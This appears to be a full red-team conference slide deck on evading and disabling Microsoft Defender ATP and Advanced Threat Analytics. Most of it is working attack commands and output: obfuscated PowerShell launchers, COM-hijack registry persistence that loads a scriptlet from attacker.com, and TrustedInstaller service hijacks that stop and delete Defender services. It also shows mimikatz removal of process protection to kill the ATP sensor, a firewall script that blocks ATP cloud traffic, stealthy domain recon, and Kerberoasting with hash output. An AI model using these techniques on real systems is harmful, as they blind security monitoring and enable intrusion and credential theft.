Red Team Techniques for Evading, Bypassing, and Disabling MS Advanced Threat Protection and Advanced Threat Analytics
• @retBandit

• Red Teaming Ops Lead, IBM X-Force Red

• Part of CREST (crest-approved.org)

• I like mountain biking, drones, and beer

• Canadian, sorry not sorry
Why ATA and ATP?
TTP

External Recon
Passive Information Gathering
Active Information Gathering
Port Scanning
Service Enumeration
Network/App Vuln Identification

Host Recon
Host Recon
Host Controls/Logging Recon
Host Controls Bypass
Tools Transfer
Short-Term Persistence
Host Privilege Escalation
Credential Theft

Host Recon
Host Recon
Host Controls/Logging Recon
Host Controls Bypass
Tools Transfer
Short-Term Persistence
Host Privilege Escalation
Credential Theft

Lateral Movement
Evade Network Security Controls
Lateral Movement
Network Exploitation
Elevate Network Privileges

Gain a Foothold
Exploit Vulnerabilities
Spear Phishing
Social Engineering
Malicious USB Media
Wireless
Physical

Internal Recon
Network Recon
Domain Recon
Asset Recon
Admin Recon
Network Security Recon

Gain a Foothold
Exploit Vulnerabilities
Spear Phishing
Social Engineering
Malicious USB Media
Wireless
Physical

Network Recon
Domain Recon
Asset Recon
Admin Recon
Network Security Recon

Gain Domain Admin
Gain Asset Admin
Sensitive Asset Access
Exfill Sensitive Data
Long-Term Persistence

Evade Network Security Controls
Lateral Movement
Network Exploitation
Elevate Network Privileges

Evade Network Security Controls
Lateral Movement
Network Exploitation
Elevate Network Privileges
Release 3 (October 17th)

Defender “brand” expanded to include:

- *Windows Defender* Antivirus
- *Windows Defender* Advanced Threat Protection
- *Windows Defender*.... *Exploit Guard*
- ... *Application Guard*
- ... *Device Guard*
- ... *Credential Guard*
- More OS

Gaining a Foothold
Gaining a Foothold w/ Out Of The Box PS Payloads

Suspicious Powershell commandline

Severity: Medium
Category: Suspicious Activity
Detection source: Windows Defender ATP

Description:
A suspicious Powershell commandline was found on the machine. This commandline might be used during installation, exploration, or in some cases with lateral movement activities which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.

The process powershell.exe was executing suspicious commandline
"powershell.exe" -noP -sta -w 1 -enc WwBSAEUARgBdAC4AQQBzAFlMARC8NAiAbABZAC4ARwBFAFQQVABZAAHAAZQaACaCUMwB5AHAAdAb/AG0ALgBNAGEAbgBhAGcAZQ8tAgUBgB0AC4AQQB1AHQAbwBtAGEAdAbpAG8AbgAuAEEAbQbZAGkAVQ80AGkAbABzACcAKQ88AD8AewAkAF8AfQ88ACUAewAkAF8ALgBHAGUA4VABGaGkAZQ8sAEQAKAAnAGEAlQ8BAGkASOBuAGk/AbDGAGEAa0BcAGUAZAAtACwAjw8QA68BnBOAHUYn8sAGkAYwAsAFMAAdAbbAHOAa0BiACkQOAuAFMAZOBUAEYAOQBMHUAZQaACoACMvBVA6wA
Obfuscated PS Payloads

Suspicious Powershell commandline

Manage

Severity: Medium
Category: Suspicious Activity
Detection source: Windows Defender ATP

Description

A suspicious Powershell commandline was found on the machine. This commandline might be used during installation, exploration, or in some cases with lateral movement activities which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.

The process powershell.exe was executing suspicious commandline

```powershell.exe" -NoP -NonI -window Hidden -Exec Bypass -C"
set-variable -name "C" -value "; set-variable -name s -value e; set-variable -name q -value c; set-variable -name P -value ((get-variable C).value.toString())+(get-variable s).value.toString()+
set-variable q.value.toString()); powershell (get-variable P).value.toString() JAg2AD0ATgBIAHcALQ8PAGlIAagBIAGMAaAaAeAKATwAuAE0AZQ8tAG8AqgB5AFMaAByAGUAYQ
BtACgALABbAUABwBULHYAZQByAHQAQ06ADoARqByAG8AqBCAGEAcwBTDYANABTAHQAcgBpAG4AZwAoAGIASAA0AHMASQBBAAEAAQQBBAEEAQQBBAEDEAAA
```
They promised us freedom.
But delivered slavery.
ATP is a Beneficiary of WMF 5 / Win10 1703 Security Improvements

• Window Management Framework ("PowerShell") 5.1 provides:
  – PS Script Block Logging
  – PS Transaction/Transcription Logging
  – PS “Suspicious Strings”
  – PS Constrained Language Mode
  – Just Enough Admin (JEA) support

• ATP leverages client-side AMSI detections for PowerShell, with improvements for JavaScript & VBScript in RS3
ATP is a Beneficiary of WMF 5 / Win10 1703+ Security Improvements

• Can’t downgrade to PSv2
• System-wide transcripts
• Common techniques leveraging WScript.Shell, etc. are also caught.
• Can’t just use NotPowerShell (NPS) or call directly as still forced to use WMF 5
• Bypasses exist but must be chained just right
Windows Defender ATP machine learning and AMSI: Unearthing script-based attacks that ‘live off the land’
Defender ATP ≠ Defender AV

- A malicious PowerShell Cmdlet was invoked on the machine.
- A process was injected with potentially malicious code.
- Network request to TOR anonymization service.
- A malicious service name was registered on the machine.
- Connection to newly registered domain.
- A document containing a suspicious macro was detected.
- A process is attempting to perform a self-deletion action using cmd.exe.
- Pass-the-ticket attack.
- A potential reverse shell was created.
- Unexpected behavior observed by a process run with no command line arguments.
- Process privilege escalation due to kernel exploit.
- Process hollowing detected.
- Abnormal service registration observed.
- Microsoft command-line utility Regsvr32.exe launched suspicious commands.
Not Detected: Misc. Techniques to Gain Initial Foothold

• Obfuscated JScript/VBscript payloads that don’t use Kernel32 API declarations (such as @vysecurity’s CACTUSTORCH)

• Using signed exec’s to load a Cobalt stageless payload, i.e.; “rundll32 foo.dll,Start”

• Some executables created with Veil (go-based) and Shellter

https://www.mdsec.co.uk/2017/07/payload-generation-with-cactustorch/
Remember, we’re talking **POST** Breach
Host Recon

echo %userdomain%
echo %logonserver%
echo %homepath%
echo %homedrive%
net share
net accounts
systeminfo
tasklist /svc
gpresult /z
net localgroup Administrators
netsh advfirewall
systeminfo
$env:ComSpec
$env:USERNAME
$env:USERDOMAIN
$env:LOGONSERVER
Tree $home

Suspicious sequence of exploration activities

Severity: Low
Category: Reconnaissance
Detection source: Windows Defender ATP

Description:
A process called a set of windows commands. These commands can be used by attackers in order to identify assets of value and coordinate lateral movement after compromising a machine. Between 7/8/2017 8:46:53 PM and 7/8/2017 9:09:45 PM the following set of exploratory windows commands was observed on this machine: net user /domain:net view:net view /fileserv /all :net share:tasklist /svc:net local group Administrators:systeminfo
Not Detected: WMI

wmic process list brief
wmic group list brief
wmic computersystem list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
wmic /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get *
Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'"
Not Detected: Host Recon Directly Using Windows API’s

- **Host-only** info gathering directly calling Window’s APIs through raw sockets, Metasploit railgun, etc.

- Use MSF modules with (local) API calls, such as `file_from_raw_ntfs.rb`

- Don’t use MSF modules like `local_admin_search_enum.rb`

- CobaltStrike has a number of modules that are API-only

- We want to avoid AMSI at all costs…. 
Not Detected: Userland Persistence and AMSI Bypass via Component Object Model (COM) Hijacking

HKLM (admin/system only) + HKCU (any user) = HKCR

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>svchost.exe</td>
<td>1004</td>
<td>RegOpenKey</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>1004</td>
<td>RegOpenKey</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>1004</td>
<td>RegOpenKey</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>1004</td>
<td>RegOpenKey</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegOpenKey</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6336</td>
<td>RegQueryValue</td>
<td>HKCR\WOW6432Node\CLS{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalServer</td>
<td>NAME NOT FOUND</td>
</tr>
</tbody>
</table>
Userland Persistence via Component Object Model (COM) Hijacking

Windows Registry Editor Version 5.00
#DotNetToJScript and COM technique credits to James Forshaw @tiraniddo, Matt Nelson @enigma0x3, Casey Smith @subTe

[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00]
@="Bandit"

[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00\CLSID]
@="{0000001-0000-0000-0000-000000000FEEDACDC}"

[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit]
@="Bandit"

[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit\CLSID]
@="{0000001-0000-0000-0000-000000000FEEDACDC}"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-000000000FEEDACDC}\InprocServer32]
@="C:\\WINDOWS\\system32\\scrobj.dll"

"ThreadingModel"="Apartment"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-000000000FEEDACDC}\ProgID]
@="Bandit.1.00"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-000000000FEEDACDC}\ScriptletURL]
@="https://attacker.com/payload.sct"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-000000000FEEDACDC}\VersionIndependentProgID]
@="Bandit"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}]

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\TreatAs]
@="{0000001-0000-0000-0000-000000000FEEDACDC}"
Userland Persistence via Component Object Model (COM) Hijacking
No AMSI = No Alerts

https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
Taming the beast
Can’t Stop ATP Process, Service, Etc., Even If Running As System*

```
C:\WINDOWS\system32>taskkill /F /IM MsSense.exe /T
ERROR: The process with PID 10368 (child process of PID 796) could not be terminated. Reason: Access is denied.
```

```
C:\Users\admin>sc stop Sense
[SC] OpenService FAILED 5:
    Access is denied.
```

```
C:\windows\system32>sc query sense
SERVICE_NAME: sense
    TYPE: 10 WIN32_OWN_PROCESS
    STATE: 4 RUNNING
        (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
```

```
kill -processname MsSense -force
    "MsSense (1364)" because of the following error: Access is denied
```

```
C:\windows\system32>sc config sense start= disabled
[SC] ChangeServiceConfig FAILED 5:
    Access is denied.
```

---

**Tampering with Windows Defender ATP sensor**

Severity: Medium
Category: Suspicious Activity
Detection source: Windows Defender ATP

**Attempt to terminate the Windows Defender ATP sensor**

Severity: Medium
Category: Suspicious Activity
Detection source: Windows Defender ATP
Uninstalling

- Unlike other PSP/cloud AV products like CrowdStrike, you can’t just uninstall them from an elevated command prompt.

wmic product where "description='CrowdStrike Sensor Platform'" Uninstall

- ATP requires a generated offboarding script with a SHA256 signed reg key:
“Protected Process Light”

```plaintext
c:\windows\system32> sc qprotection windefend  
[Sc] QueryServiceConfig2 SUCCESS  
SERVICE windefend PROTECTION LEVEL: ANIMALWARE LIGHT.

c:\windows\system32> sc qprotection sense  
[Sc] QueryServiceConfig2 SUCCESS  
SERVICE sense PROTECTION LEVEL: WINDOWS LIGHT.

c:\windows\system32> sc qprotection diagtrack  
[Sc] QueryServiceConfig2 SUCCESS  
SERVICE diagtrack PROTECTION LEVEL: NONE.
```
PPL Bypass

- Defender AV service can be stopped/deleted via Project0’s privileged Antimalware PPL bypass:

```
sc config TrustedInstaller binPath= "cmd.exe /C sc stop windefend && sc delete windefend" && sc start TrustedInstaller
```

- ... since RS2, ATP (MsSense.exe) runs now at a Windows PPL protection level instead of a AntiMalware PPL, and the process is configured as “NOT_STOPPABLE”
In the "assume breach" world we live in, how is "It doesn't matter. You were already admin." a relevant or practical statement?
Block ATP Comms via DiagTrack Service (Privileged)

1703/ATP Release 2:

```
C:\>sc qprotection diagtrack
[SC] QueryServiceConfig2 SUCCESS
SERVICE diagtrack PROTECTION LEVEL: NONE.
```

1709/ATP Release 3:

```
C:\>sc qprotection diagtrack
[SC] QueryServiceConfig2 SUCCESS
SERVICE diagtrack PROTECTION LEVEL: WINDOWS LIGHT.
```
Block ATP Comms via DiagTrack Service (Privileged)

```bash
sc config TrustedInstaller binPath= "cmd.exe /C sc stop diagtrack & sc config diagtrack binPath='lol'" && sc start TrustedInstaller
```

Connected User Experiences and Telemetry Properties

- **Service name:** DiagTrack
- **Display name:** Connected User Experiences and Telemetry
- **Description:** The Connected User Experiences and Telemetry service enables features that support...
- **Path to executable:** lol
Can’t Rename The WDATP Binaries As Admin….
…But We Can Hijack It’s DLLs (Privileged)

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>SenseCncProxy.exe</td>
<td>4340</td>
<td>QueryStream...</td>
<td>C:\Windows\System32\winhttp.dll</td>
</tr>
<tr>
<td>SenseCncProxy.exe</td>
<td>4340</td>
<td>Load Image</td>
<td>C:\Windows\System32\winhttp.dll</td>
</tr>
<tr>
<td>SenseCncProxy.exe</td>
<td>4340</td>
<td>CloseFile</td>
<td>C:\Windows\System32\winhttp.dll</td>
</tr>
</tbody>
</table>

```
C:\Program Files\Windows Defender Advanced Threat Protection\USERENV.dll (real path: C:\WINDOWS\system32\USERENV.dll)
C:\Program Files\Windows Defender Advanced Threat Protection\WINHTTP.dll (real path: C:\WINDOWS\system32\WINHTTP.dll)
C:\Program Files\Windows Defender Advanced Threat Protection\bcrypt.dll (real path: C:\WINDOWS\system32\bcrypt.dll)
```

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>SenseCncProxy.exe</td>
<td>5820</td>
<td>CreateFileMa...</td>
<td>C:\Program Files\Windows Defender Advanced Threat Protection\Winhttp.dll</td>
</tr>
<tr>
<td>SenseCncProxy.exe</td>
<td>5820</td>
<td>QueryStanda...</td>
<td>C:\Program Files\Windows Defender Advanced Threat Protection\Winhttp.dll</td>
</tr>
<tr>
<td>SenseCncProxy.exe</td>
<td>5820</td>
<td>ReadFile</td>
<td>C:\Program Files\Windows Defender Advanced Threat Protection\Winhttp.dll</td>
</tr>
<tr>
<td>SenseCncProxy.exe</td>
<td>5820</td>
<td>CloseFile</td>
<td>C:\Program Files\Windows Defender Advanced Threat Protection\Winhttp.dll</td>
</tr>
<tr>
<td>SenseCncProxy.exe</td>
<td>5820</td>
<td>Thread Exit</td>
<td></td>
</tr>
<tr>
<td>SenseCncProxy.exe</td>
<td>5820</td>
<td>Thread Exit</td>
<td></td>
</tr>
</tbody>
</table>
Remove PPL Protection, Kill Process (Privileged)

```plaintext
mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started

mimikatz # !processprotect /process:MsSense.exe /remove
Process : MsSense.exe

C:\Windows\system32>taskkill /F /IM MsSense.exe /T
SUCCESS: The process with PID 1552 (child process of PID 816) has been terminated.

C:\Windows\system32>sc qprotection sense
[SC] QueryServiceConfig2 SUCCESS
SERVICE sense PROTECTION LEVEL: WINDOWS LIGHT.

C:\Windows\system32>sc query sense

SERVICE_NAME: sense
  TYPE : 10  WIN32_OWN_PROCESS
  STATE : 1  STOPPED
  WIN32_EXIT_CODE : 1067 (0x42b)
  SERVICE_EXIT_CODE : 0 (0x0)
  CHECKPOINT : 0x0
  WAIT_HINT : 0x0
```
Mimikatz Driver’s Service Registered As Malicious Now…

A malicious service name was registered on the machine.

**Severity:** Low

**Category:** Lateral Movement

**Detection source:** Windows Defender ATP

**Description**
A malicious service name was registered on the machine. The service can be used to run in high privileges and/or move laterally in the network. A malicious Windows service registration occurred (service name is "mimidrv").
...But We Can Change The Service Name And Re-sign

- wininit.exe
- services.exe

services.exe created registry key

```c
100  case IOCTL_MIMIDRV_PROCESS_TOKEN:
101      status = kkl_m_process_token(szBufferIn, bufferIn, &kOutputBuffer);
102      break;
103  case IOCTL_MIMIDRV_PROCESS_PROTECT:
104      status = kkl_m_process_protect(szBufferIn, bufferIn, &kOutputBuffer);
105      break;
106  case IOCTL_MIMIDRV_PROCESS_FULLPRIV:
```
Now Also Alerts On PPL Tampering*

Protected Process Tampering

Severity: High
Category: Suspicious Activity
Detection source: Windows Defender ATP

Description
A Process was started as Protected Process, but the protection was removed.
The affected process is 'MsSense.exe'

```
sc config TrustedInstaller binPath="cmd.exe /C sc config sense binPath='blank'"
&& sc start TrustedInstaller
```
Become Trusted Installer to Target Executables (Privileged)

- We can use James Forshaw’s technique to become Trusted Installer, and then rename protected ATP executables;

```
PS C:\Users\EdwardAbbey\Desktop> Set-NTTokenPrivilege SeDebugPrivilege
Name          Luid          IsEnabled
--------------- ------------- ----------
SeDebugPrivilege 00000000-00000014 True

PS C:\Users\EdwardAbbey\Desktop> Start-Service TrustedInstaller
PS C:\Users\EdwardAbbey\Desktop> $p = Get-NTProcess -Name TrustedInstaller.exe
PS C:\Users\EdwardAbbey\Desktop> $t = $p.OpenToken()
PS C:\Users\EdwardAbbey\Desktop> $t.Groups | Where-Object {$__.Sid.Name -match "TrustedInstaller"}
Name          Attributes
--------------- ----------------
NT SERVICE\TrustedInstaller EnabledByDefault, Owner
NT SERVICE\TrustedInstaller EnabledByDefault, Enabled,

PS C:\Users\EdwardAbbey\Desktop> $proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p

C:\Users\EdwardAbbey\Desktop> whoami /groups | findstr Trusted
NT SERVICE\TrustedInstaller

C:\Users\EdwardAbbey\Desktop> rename "C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe" SenseCncProxy.exe
```

https://tyranidslair.blogspot.ca/2017/08/the-art-of-becoming-trustedinstaller.html
Block All Windows Defender/ATP Comms via FW (Privileged)

Define Cloud Security Vendor Address

Windows Defender ATP

```
$MSATP1 = "securitycenter.windows.com"
$MSATP2 = "winatp-gw-cus.microsoft.com"
$MSATP3 = "winatp-gw-eus.microsoft.com"
$MSATP4 = "winatp-gw-ww.microsoft.com"
$MSATP5 = "winatp-gw-neu.microsoft.com"
$MSATP6 = "us.vortex-win.data.microsoft.com"
$MSATP7 = "eu.vortex-win.data.microsoft.com"
$MSATP8 = "psapp.microsoft.com"
$MSATP9 = "psappeu.microsoft.com"
$MSATPURLS = $MSATP1, $MSATP2, $MSATP3, $MSATP4, $MSATP5, $MSATP6, $MSATP7, $MSATP8, $MSATP9
```

#Checking for Behavioural Analysis AV security product processes and adding outbound FW blocks

```
Write-Output ("[*] Checking for Behavioural Analytics AV security product processes and adding outbound firewall block rules" + "")
$processnames = $processes | Select-Object ProcessName
Foreach ($ps in $processnames)
{
    if ($ps.ProcessName -like "*MsSense*")
    {
        Write-Output ("[*] Defender ATP process " + $ps.ProcessName + " is running." + " Resolving ATP FQDN IP's and blocking"
$MSATPCloudIPs = ($MSATPURLS | foreach {([System.Net.Dns]::GetHostAddresses($_)) | Select-Object -ExpandProperty IPA.Foreach-object {
            New-NetFirewallRule -Displayname "Windows Advertising Broker" -Direction Outbound -Action Block -RemoteAddress $_
        write-host "$_ - Outbound Firewall Block Was Added: $?"
```
Threat Neutralized
Advanced Threat Analytics

“ATA captures and parses network traffic of multiple protocols (such as Kerberos, DNS, RPC, NTLM and others) for authentication, authorization and information gathering.”

Designed to Detect:

- Pass-the-Ticket (PtT)
- Pass-the-Hash (PtH)
- Overpass-the-Hash
- Forged PAC (MS14-068)
- Golden Ticket
- Malicious replications
- Reconnaissance

- Brute force
- Remote execution
- Weak/malicious protocol usage
- Abnormal user behavior
- Modification of sensitive groups

https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
ATA relies on the following Windows events: 4776, 4732, 4733, 4728, 4729, 4756, 4757
Coming soon...

AZURE ATP + Intelligent Security Graph

Windows Defender ATP
Integration with Windows Defender ATP
https://securitycenter.windows.com
Sensitive account credentials exposed
Administrator's credentials were exposed in cleartext using LDAP simple bind.
Started at 4:11 PM May 14, 2017

Encryption downgrade activity
The encryption method of the TGT field of TGS_REQ message from CLIENT1 has been downgraded based on previously learned behavior on CLIENT1.
3:58 PM May 14, 2017

Kerberos Golden Ticket activity
Suspicious usage of CLIENT1's Kerberos ticket, indicating a potential Golden Ticket attack, was detected.
Started at 2:15 PM May 14, 2017

Abnormal modification of sensitive groups
Administrator has uncharacteristically modified sensitive group memberships.
2:43 PM May 14, 2017

Massive object deletion
496 objects (9.75% of total AD objects) were deleted over a period of a few seconds from domain domain1.test.local.
2:33 PM May 14, 2017

Suspicious authentication failures
Suspicious authentication failures indicating a potential brute-force attack were detected from CLIENT1.
Started at 1:10 PM May 14, 2017
ATA Learning Period

1 month of learning:
• Abnormal behavior
• Abnormal sensitive group modification
• Recon using Directory Services

1 week of learning:
• Encryption downgrades (skeleton key, golden ticket, over pass the hash)
• Brute force
Detected: Bulk DNS queries, nslookup, zone transfers

Reconnaissance using DNS

Suspicious DNS activity was observed, originating from **WIN10A** (which is not a DNS server) against **DC03**.
Detected*: AD Recon using SAMR protocol or tools like “net user /domain”

Reconnaissance using directory services enumeration

The following directory services enumerations using SAMR protocol were attempted against DC from CLIENT1:

- Successful enumeration of all users in contoso.com by Chandan Bharti

Tuesday, April 25, 2017 at 10:38 PM  New
Not Detected: Using LDAP/Powerview To Gather Computers/Users

```
PS C:\Users\JohnVanwagoner\Desktop> Get-NetComputer -verbose -domain prod.local
VERBOSE: Get-DomainSearcher search string: LDAP://DC03.prod.local/DC=prod,DC=local
DC03.prod.local
Win10a.prod.local
SQL01.prod.local
win10c.prod.local
app01.prod.local

PS C:\Users\JohnVanwagoner\Desktop> Get-NetGroupMember -GroupName "Enterprise Admins" -Domain dev.local -verbose
VERBOSE: Get-DomainSearcher search string: LDAP://DC03.prod.local/DC=prod,DC=local

GroupDomain  : dev.local
GroupName  : Enterprise Admins
MemberDomain  : dev.local
MemberName  : MyronHayes
MemberSid  : S-1-5-21-1833099165-4213543110-3108917803-1547
IsGroup  : False
MemberDN  : CN=Hayes\, Myron,OU=US,OU=DemoUser,DC=dev,DC=local

GroupDomain  : dev.local
GroupName  : Enterprise Admins
MemberDomain  : dev.local
MemberName  : Administrator
MemberSid  : S-1-5-21-1833099165-4213543110-3108917803-500
IsGroup  : False
MemberDN  : CN=Administrator,CN=Users,DC=dev,DC=local
```
Not Detected: Enumeration via WMI Local Name Space

Domain User Accounts:
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='dev' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired, PasswordChangeable, Description, SID

Domain Groups:
Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name like '%$Admin%’"
Not Detected: Enumeration via WMI Local Name Space (Cont’d)

Domain Group User Memberships:

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Enterprise Admins'" | Get-CimAssociatedInstance -Association Win32_GroupUser

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Microsoft Advanced Threat Analytics Administrator'" | Get-CimAssociatedInstance -Association Win32_GroupUser
Detected: Default Session Enumeration via UserHunter, NetSess

Reconnaissance using SMB Session Enumeration

SMB session enumeration attempts were successfully performed by Vanwagoner, John, from WIN10A against DC03, exposing 2 accounts.

2:51 PM – Now

<table>
<thead>
<tr>
<th>TIME</th>
<th>ACCOUNTS</th>
<th>RESULT</th>
<th>EXPOSED ACCOUNTS</th>
<th>AGAINST DOMAIN CONTROLLERS</th>
</tr>
</thead>
<tbody>
<tr>
<td>7/27/17 3:04 PM</td>
<td>Vanwagoner...</td>
<td>Success</td>
<td>2 exposed accounts</td>
<td>DC03</td>
</tr>
<tr>
<td></td>
<td>Health physicist</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Not Detected: Session Enumeration By Excluding DC’s

As of the last BloodHound 1.4 (SharpHound) release earlier this month:

Invoke-BloodHound -ExcludeDc

https://blog.cptjesus.com/posts/newbloodhoundingestor
Lateral Movement
Detection (ATA): Lateral Movement

Usually detected (against DC’s only):
- WMiexec
- PSexec

May be detected due to “abnormal user behavior” against domain members:
- WMiexec
- PSexec
- WinRM
- DCOM
- PSexec/SMBexec
- RDP
- Remote Registry
- PSRemoting/WinRM

Suspicion of identity theft based on abnormal behavior
Guerno Gallagher exhibited abnormal behavior when performing activities that were not seen over the last month and are also not in accordance with the activities of other accounts in the organization. The abnormal behavior is based on the following activities:
- Performed interactive login from 11 abnormal workstations.
- Requested access to 11 abnormal resources.
Not Detected: SPN Enumeration & Kerberoasting

- Requesting/Kerberoasting SPN’s blends in as regular traffic.

```
Get-NetComputer -SPN mssql*

serviceprincipalname : {MSSQLSvc/app01.prod.local:SQLEXPRESS, MSSQLSvc/app02.dev.local:1433,
givenname : SQLService

Get-NetUser -SPN | Get-SPNTicket -OutputFormat Hashcat

$krb5tgs$MSSQLSvc/app01.prod.local:SQLEXPRESS:A9992B93DD7E6C77C71AF7C56D83DE79$36AAF20D890AF4A
1F11BCDAD4A25CFD522DF47C5B8ACB3B78F4AE6DB274157E37EB8086908859883FC886E2528863465E5D7B7EC4294
4A4E532F1C37EFD248E2438ECCA4E2EE2638615C03BFE3F1A8E0636D92A3466C9A792851D9992E2F861605C95DEE2C
```

```
root@xfr-cracken-1:/opt/cracken1/hashcat# ./hashcat -b -m
hashcat (v3.6.0-25-g71d4926) starting in benchmark mode...

OpenCL Platform #1: NVIDIA Corporation

* Device #1: GeForce GTX 1080, 2028/8114 MB allocatable, 2
* Device #2: GeForce GTX 1080, 2028/8114 MB allocatable, 2
* Device #3: GeForce GTX 1080, 2028/8114 MB allocatable, 2
* Device #4: GeForce GTX 1080, 2028/8114 MB allocatable, 2
* Device #5: GeForce GTX 1080, 2028/8114 MB allocatable, 2
* Device #6: GeForce GTX 1080, 2028/8114 MB allocatable, 2
* Device #7: GeForce GTX 1080, 2028/8114 MB allocatable, 2
